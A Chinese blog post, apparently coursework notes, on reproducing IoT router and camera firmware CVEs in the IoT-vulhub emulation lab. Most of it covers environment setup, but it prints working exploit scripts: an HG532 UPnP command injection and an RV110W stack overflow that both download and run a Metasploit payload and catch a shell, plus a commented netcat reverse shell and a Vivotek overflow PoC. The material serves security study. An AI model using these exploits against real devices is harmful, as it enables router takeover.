借着逆向课的作业,就借此机会来简单学习并复现iot固件漏洞。网上搜集资料找到了Vu1nT0tal/IoT-vulhub: IoT固件漏洞复现环境 (github.com),感觉该项目对0基础入门iot固件漏洞复现是蛮有帮助的,就以此对相关漏洞进行复现。

由于我的服务器是国内的,所以构建过程会有很多麻烦,而且dockerhub也g了……

目录

- 环境构建

- TOTOLINK NR1800X (CVE-2022-41518)

- Vivotek CC8160 栈溢出漏洞

- 华为 HG532 远程代码执行漏洞(CVE-2017-17215)

- Cisco RV110W 远程代码执行漏洞(CVE-2020-3331)

- D-Link DIR-859 命令注入漏洞(CVE-2019-17621)

环境构建

IoT-vulhub 漏洞复现 – wsxk’s blog – 小菜鸡

IoT-Vulhub基础环境搭建 | Brvc3’s Base

docker拉取问题解决:https://github.com/DaoCloud/public-image-mirror?tab=readme-ov-file

基础环境构建

构建 ubuntu1604 基础镜像

cd baseImage/ubuntu1604 && docker build -t firmianay/ubuntu1604 .

构建 binwalk 容器

cd baseImage/binwalk && docker build -t firmianay/binwalk .

漏洞环境构建

初始化环境(arm/mips/mipsel)

./init_env.sh xxxx

自动化编译环境,看有什么docker-compose就知道支持什么了

docker-compose -f docker-compose-user.yml build # QEMU 用户模式模拟

docker-compose -f docker-compose-system.yml build # QEMU 系统模式模拟

docker-compose -f docker-compose-firmadyne.yml build # firmadyne 模拟

docker-compose -f docker-compose-firmae.yml build # firmae 模拟(方便调试)

启动环境

docker-compose -f docker-compose-xxxx.yml up

删除环境

docker-compose -f docker-compose-xxxx.yml down -v

TOTOLINK NR1800X (CVE-2022-41518)

TOTOLINK NR1800X 系列 CVE 分析 (seebug.org)

漏洞环境

  • docker:攻击、调试主机:192.168.2.1
  • qemu-system:固件主机:192.168.2.2
  • 镜像依赖:firmianay/ubuntu1604 -> firmianay/qemu-system:mipsel

环境搭建

解压提取固件:

docker run –rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer “/root/firmware/TOTOLINK_NR1800X_B20210910_ALL.bin”

image-20240623135537006

查看文件相关信息 32位 小端序 mips架构

image-20240623135819202

1.构建、启动漏洞环境:

1
2
./init_env.sh mipsel
docker-compose -f docker-compose-system.yml build

a.缺少firmianay/qemu-system:mipsel,自行本地构建,去到对应的文件夹IoT-vulhub-master/baseImage/qemu-system/mipsel创建镜像

1
docker build -t firmianay/qemu-system:mipsel .

b.构建时COPY命令出错,由于高版本docker会对文件名检测,需要修改Dockerfile

1
2
Step 4/8 : COPY ./firmware/_*/squashfs-root /root/squashfs-root
ERROR: Service 'system-emu' failed to build: When using COPY with more than one source file, the destination must be a directory and end with a /

c.将firmware下子文件夹内的squashfs-root提取到firmware里,修改Dockerfile的步骤为 COPY ./firmware/squashfs-root /root/squashfs-root

1
cp -r ./_TOTOLINK_NR1800X_B20210910_ALL.bin.extracted/squashfs-root/ ./

2.启动容器

1
docker-compose -f docker-compose-system.yml up

d.运行爆错TOTO-system | /bin/sh: 1: ./run.sh: Permission denied,服务没起起来

Dockerfile中添加 RUN chmod +x /bin/run.sh

e.重新构建启动,会爆缺少debian_wheezy_mipsel_standard.qcow2文件,这是在我们qwmu-system构建时(a步骤)中进行构建,我们需要本地下载下来,重新走一遍12步骤

修改/iot_hub/IoT-vulhub-master/baseImage/qemu-system/mipsel/images/download.sh,原链接改为https://people.debian.org/~aurel32/qemu/mipsel/

1
2
3
4
5
6
7
8
9
10
11
12
vim ./download.sh
#!/bin/bash

# 3.2.0
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

# 2.6.32
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-2.6.32-5-4kc-malta

./download.sh

服务启动成功!

image-20240623143052731

3.开启ssh隧道

本地使用ssh创建socks代理,然后浏览器配置代理

1
ssh -D 10006 root@124.221.122.67 -p 1234

image-20240623153609456

image-20240623152246628

成功访问服务路由

运行exp.py,打通

image-20240623153513904

漏洞复现

CVE-2022-41525的成因是cstecgi.cgi的doSystem过滤不严谨,将cstecgi.cgi 传下来进行分析

image-20240623153858761

通过dosystem交叉调用寻找漏洞点,

image-20240623154248447

ida不支持mips的反汇编,需要下载Retdec插件,但是有点大了,所以我使用ghidra进行反编译

/cgi-bin/cstecgi.cgi 的 UploadFirmwareFile 函数,其参数FileName参数可控,并且将作为doSystem的参数被执行。

这个命令注入不需要进行绕过。

image-20240623164123142

Vivotek CC8160 栈溢出漏洞

Vivotek远程栈溢出漏洞分析与复现 - 先知社区 (aliyun.com)

漏洞环境

  • docker:攻击、调试主机:192.168.2.1
  • qemu-system:固件主机:192.168.2.2
  • httpd(有漏洞服务):192.168.2.2:80
  • 镜像依赖:firmianay/ubuntu1604 -> firmianay/qemu-system:armel

环境搭建

在漏洞路径下 使用 firmianay/binwalk 解压固件

docker run –rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer “/root/firmware/DIR822A1_FW103WWb03.bin”

用户模拟

构建并启动漏洞环境:

docker-compose -f docker-compose-user.yml build

这里构建环境出现问题缺少firmianay/qemu-user-static 镜像文件,docker.io中没有对应的镜像文件,我们需要到~/iot_hub/IoT-vulhub-master/baseImage/qemu-user-static里面自行构建

cd ~/iot_hub/IoT-vulhub-master/baseImage/qemu-user-static

docker build -t firmianay/qemu-user-static.

然后就能成功在本地构建镜像

重新构建启动容器,能够成功运行服务

docker-compose -f docker-compose-user.yml build

docker-compose -f docker-compose-user.yml up

image-20240625185942262

系统模拟

先自行构建qemu-system镜像

1
2
3
4
5
6
cd ~/iot_hub/IoT-vulhub-master/baseImage/qemu-system/armel/images
./download.sh #记得改链接

#镜像构建
docker build -t firmianay/qemu-system:${ARCH} .

如果构建qemu-system时gef拉取不下来就注释掉

然后跟着手册走

输入poc发现系统服务dump了

image-20240622212015099

漏洞复现

固件解包后查看漏洞文件

image-20240625192328286

漏洞分析:

漏洞点位于/usr/sbin/httpd中的sub_17F80,由于Content-Length引起的溢出

image-20240625195352919

uVar6是 “Content-Length” 的初始地址

而iVar3 、4是在字符串中“\n”和“:”首次出现的地址,二者之间也就是输入的消息

通过strncpy来将iVar4 + 1 (Content-Length_value)的 iVar3 - (iVar4 + 1) 字节(Content-Length_len)数据copy到 &local_38

程序没有对Content-length字段进行校验,直接将输入的消息赋值给了local_38中,而local_38距离栈底只有0x38字节

image-20240625200208487

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
#!usr/bin/python
from pwn import *
import requests

header = {
"Content-Length":"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
}

url = "http://192.168.2.2" + "/cgi-bin/admin/upgrade.cgi"


session = requests.session()
session.post(url, headers=header)

华为 HG532 远程代码执行漏洞(CVE-2017-17215)

漏洞分析:CVE-2017-17215 - Riv4ille - 博客园 (cnblogs.com)

漏洞环境

  • docker:攻击、调试主机:192.168.2.1
  • qemu-system:固件主机:192.168.2.2
  • uhttpd(有漏洞 Web 服务器):192.168.2.2:80
  • 镜像依赖:firmianay/ubuntu1604 -> firmianay/qemu-system:mips

环境搭建

解压固件

docker run –rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer “/root/firmware/HG532eV100R001C01B020_upgrade_packet.bin”

固件分析 32位 mips架构 小端序

image-20240626100451970

剩下步骤与TOTOLINK NR1800X相同,本地构建qemu-system镜像,然后构建漏洞环境,启动环境

#到squashfs-root所在目录

cp -r ./squashfs-root/ ../

#改Dockerfile文件目录

#构建本地qemu-system镜像

docker build -t firmianay/qemu-system:mips .

docker-compose -f docker-compose-system.yml build

docker-compose -f docker-compose-system.yml up

使用ssh设置socks 代理后,配置浏览器代理,然后登陆 Web 后台 http://192.168.2.2/,服务端报错

image-20240625234908598

image-20240626090924119

本地代理连接测试,成功连接到了192.168.2.2并且重定向到https://192.168.2.2

image-20240626091219207

测试https连接

image-20240626091406016

发现是接收到了SSL证书错误,添加-k选项,忽略SSL证书验证

image-20240626091654813

成功访问服务!

image-20240626094931147

照着文档打通了image-20240626004523543

漏洞复现

详细的控制流分析以及UPnP协议的学习有些心有余而力不足了

简单分析一下upnp里面的关键漏洞代码

image-20240626101528081

这里调用了snprintf(a0, a1, a2, a3)

即snprintf(a0, 0x400, “upg -g -U %s -t ‘1 Firmware Upgrade Ima”, a3)

a0源操作数,a1为size,a2为格式化字符,a3为指定格式化的数据

a0又是snprintf的源操作数,也是system调用的参数,最后会执行system(a0)

exp:最终执行cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3

import requests
from requests.auth import HTTPDigestAuth
from pwn import *
from threading import Thread

# cmd = "busybox wget -g 192.168.2.1 -P 8000 -l /tmp/busybox -r /tools/busybox ; chmod +x /tmp/busybox ; /tmp/busybox nc 192.168.2.1 7777 -e /bin/sh"
cmd = 'wget -g 192.168.2.1 -P 8000 -r /tools/msf -l /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf'

assert(len(cmd) < 255)

data = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
url = "http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1"

def attack():
try:
requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=data)
except Exception as e:
print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()

Cisco RV110W 远程代码执行漏洞(CVE-2020-3331)

难题的复现找来找去只有那么几位师傅

思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)

[原创]Cisco RV110W 远程代码执行漏洞分析(CVE-2020-3331)-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

思科无线路由器

漏洞环境

  • docker:攻击、调试主机:192.168.2.1
  • qemu-system:固件主机:192.168.2.2
  • httpd(有漏洞 Web 服务器):192.168.2.2:80
  • 镜像依赖:firmianay/ubuntu1604 -> firmianay/qemu-system:mipsel

环境搭建

解压固件

docker run –rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer “/root/firmware/RV110W_FW_1.2.2.5.bin”

构建启动环境

./init_env.sh mipsel

docker-compose -f docker-compose-system.yml build

docker-compose -f docker-compose-system.yml up

docker内进行端口转发(Docker-compose.yml中写好了端口映射)

ssh root@127.0.0.1 -f -N -g -R 0.0.0.0:6666:192.168.2.2:6666

ssh root@127.0.0.1 -f -N -g -R 0.0.0.0:80:192.168.2.2:80

nmap可以扫到服务 8888–漏洞服务 6666–gdbserver

image-20240626231935303

运行exp,打通

image-20240626235453453

断开后服务会down,需要重新up才能起来

调试配置

image-20240627115953109

小插曲

内置的gef插件无法正常加载–原因为gdb与python版本较低

image-20240627000252848

官方手册

image-20240627000444482

要求GDB 8.0以上,Python3.6+,修改更麻烦了,干脆不装gef了,把gef那行注释掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
FROM firmianay/ubuntu1604                                                                                                                
LABEL Author="firmianay@gmail.com"

WORKDIR /root

RUN apt-get update \
&& apt-get install -y qemu-system-mipsel \
&& apt-get install -y --no-install-recommends bridge-utils uml-utilities expect gdb-multiarch git python3-dev openssh-server netcat curl libssl-dev libffi-dev build-essential tcpdump \
&& sed -i "s/PermitRootLogin prohibit-password/PermitRootLogin yes/g" /etc/ssh/sshd_config && echo "root:root" | chpasswd && echo "GatewayPorts yes" >> /etc/ssh/sshd_config \
# && git clone --depth=1 https://github.com/hugsy/gef.git \
&& git clone --depth=1 https://github.com/longld/peda.git ~/peda \
# && cp gef/gef.py ~/.gef.py && echo "source ~/.gef.py" > ~/.gdbinit && echo "export LC_CTYPE=C.UTF-8" >> ~/.bashrc \
&& echo "source ~/peda/peda.py" >> ~/.gdbinit && echo "export LC_CTYPE=C.UTF-8" >> ~/.bashrc \
&& python3 -m pip install --upgrade pwntools \
&& apt-get purge -y --autoremove git \
&& rm -rf /var/lib/apt/lists/* /root/gef

#RUN mkdir images && cd images \
# && wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
# && wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

COPY ./images /root/images

漏洞复现

本漏洞存在于CISCO RV110W-E-CN-K9(固件版本1.2.2.5),漏洞原因是cgi接口guest_logout.cgi中存在栈溢出漏洞,而因为mips本身不支持NX从而导致可以使用shellcode得到shell

漏洞点 sscanf函数通过政策表达式将v11输入v29和v28中 其中v29存储的是分号前的所有字符,而v28存储的是不在分号后和等号前但在等号后换行符前的所有字符

image-20240627120518766

然后跟踪v11

image-20240627120718622

exp:

msf生成的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3

from pwn import *
import requests
from threading import Thread

context(arch='mips', endian='little', os='linux')

system = 0x0047A610

cmd = '\n'
cmd += 'wget http://192.168.2.1:8000/tools/msf -O /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf\n'

assert(len(cmd) < 0x55)

payload = b"status_guestnet.asp" + cmd.ljust(0x55,'a').encode() + p32(system)
data = {"cmac":"12:af:aa:bb:cc:dd", "submit_button":payload, "cip":"192.168.100.1"}

def attack():
try:
requests.post("http://192.168.2.2/guest_logout.cgi", data=data, timeout=1)
except Exception as e:
print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()

D-Link DIR-859 命令注入漏洞(CVE-2019-17621)

漏洞环境

  • docker:攻击、调试主机:192.168.2.1
  • firmadyne:固件主机:192.168.0.1
  • htdocs/cgibin(有漏洞的服务程序):192.168.0.1:49152
  • 镜像依赖:firmianay/ubuntu1604 -> firmianay/binwalk:noentry -> firmianay/firmadyne(或者 firmianay/firmae)

环境搭建

缺少的镜像需要到对应baseimage目录下面构建

docker run –rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer “/root/firmware/DIR822A1_FW103WWb03.bin”

docker-compose -f docker-compose-firmadyne.yml build #docker-compose -f docker-compose-firmae.yml build

docker-compose -f docker-compose-firmadyne.yml up #docker-compose -f docker-compose-firmae.yml up

两种方法都尝试了,docker都没起来

image-20240627192536273

本地环境搭建

D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析复现 (qq.com)

零基础学IoT Pwn

本地ubuntu22.04虚拟机搭建IOT环境

binwalk固件解包工具

ReFirmLabs/binwalk: Firmware Analysis Tool (github.com)

1
2
3
4
5
6
7
8
9
10
11
git clone https://github.com/ReFirmLabs/binwalk.git

#依赖项包含在deps.sh中
./.deps.sh
#一些依赖工具
sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools sleuthkit default-jdk lzop srecord

sudo python3 setup.py install

#卸载
sudo python3 setup.py uninstall

qemu

没有本地编译,直接用官方的命令行安装

Download QEMU - QEMU

Debian/Ubuntu:

  • For full system emulation: apt-get install qemu-system
  • For emulating Linux binaries: apt-get install qemu-user-static

Firmadyne 固件仿真工具

firmadyne/firmadyne: Platform for emulation and dynamic analysis of Linux-based firmware (github.com)

1
git clone --recursive https://github.com/firmadyne/firmadyne.git    #克隆项目以及子项目

安装postgresql数据库

1
2
3
4
sudo apt-get install postgresql
sudo -u postgres createuser -P firmadyne #密码设置为firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./firmadyne/database/schema

检查数据库是否配置完成

1
2
3
4
5
sudo -u postgres psql -d firmware   #连接到数据库
\dt #列出所有表
\d table_name #查看表结构
SELECT * FROM table_name; #查看表中数据
\q #退出

image-20240717091308539

下载需要的二进制工具

1
2
sudo ./download.sh
ls ./binaries/ #检查安装完成

image-20240717091350377

模拟运行固件

清理环境

1
2
sudo su
./reset.py

提取固件包并保存镜像

1
2
3
4
5
./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk DIR822A1_FW103WWb03.bin  images
#-b 指定固件所属品牌
#-sql 连接本地数据库
#-np 不使用并行模式,这个参数告诉脚本不使用并行处理,通常用于调试或在资源有限的系统上运行时使用
#-nk 不保留提取的固件镜像

image-20240717093500277

识别CPU架构

1
./scripts/getArch.sh ./images/2.tar.gz

image-20240717093612247

创建镜像

1
./scripts/makeImage.sh id

image-20240717103423529

存储数据库

1
2
3
4
5
./scripts/tar2db.py -i id -f ./images/3.tar.gz

#数据库查看
sudo -u postgres psql -d firmware
SELECT * FROM image WHERE id = 3;

设置网络接口

1
./scripts/inferNetwork.sh id

image-20240717103310256

然后本地会生成一个同网段的网卡

运行固件

1
./scratch/id/run.sh

image-20240717104031046

image-20240717103956988

ssh端口转发

流量转发之端口转发-CSDN博客

屏幕截图 2024-07-17 110805

调试环境的搭建先搁着

用iot-vulhub里面提供的exp打通

image-20240717111850093

服务关闭

1
2
netstat -lnp  #查看qemu服务PID
kill -9 pid

模拟固件过程中使用数据库来记录和统计固件信息,有时这一行为是无用功,固件模拟 Case Study (3) | CataLpa’s Site (wzt.ac.cn)这位师傅是将firmadyne中写入数据库的代码进行了删改

FAT项目基于Firmadyne进行了更改,不使用PostgreSQL数据库存储设备信息。

下载 Firmware Analysis Toolkit

1
git clone https://github.com/attify/firmware-analysis-toolkit.git

改fat.config文件中的配置信息

1
2
3
[DEFAULT]
sudo_password=Your_Root_pwd
firmadyne_path=Your_firmadyne_Path

设置的网络接口为空,虽然跑起来了,但是ifconfig没有网卡信息,服务没起起来

image-20240717132423058

inferNetwork.sh没有找到任何网络接口,作者有在论文中提到firmadyne/paper/paper.pdf at master · firmadyne/firmadyne (github.com)

一个令人不便的事实是,提高仿真成功率或修复固件映像的网络配置检测,例如 Shibby 的 Tomato,是一个手动过程。

它要求分析人员手动检查系统日志,以便根据根本原因识别和分类仿真失败,然后进行必要的更改以支持这些映像。

通常,这可能是一个循环过程,因为仿真失败可能有多种原因。

firmware-analysis-toolkit的作者有在issuse46里提供了一个方法,将inferNetwork.sh超时值增加

image-20240717141057141

漏洞分析

D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析复现 (qq.com)

CVE-2019-17621 Dlink-859 RCE 复现 - moon_flower - 博客园 (cnblogs.com)

主要漏洞利用在:利用fwrite函数控制$shell_file的值,如果向$shell_file中写入了由反引号包裹的命令,就能RCE绕过。

cigbin程序中的调用流程:buf_8 ->xmldbc_ephp->FUN_0041420c ->FUN_0041372c -> socket

image-20240627230116665

调用了GENA_subscribe_new(),定义在gena.php文件中 htdocs/upnpinc下

这里也就是漏洞所在。。

image-20240627230435176

从这开始,环境的构建将不依赖于dokcer环境,而是通过本地来模拟环境。


ing。。。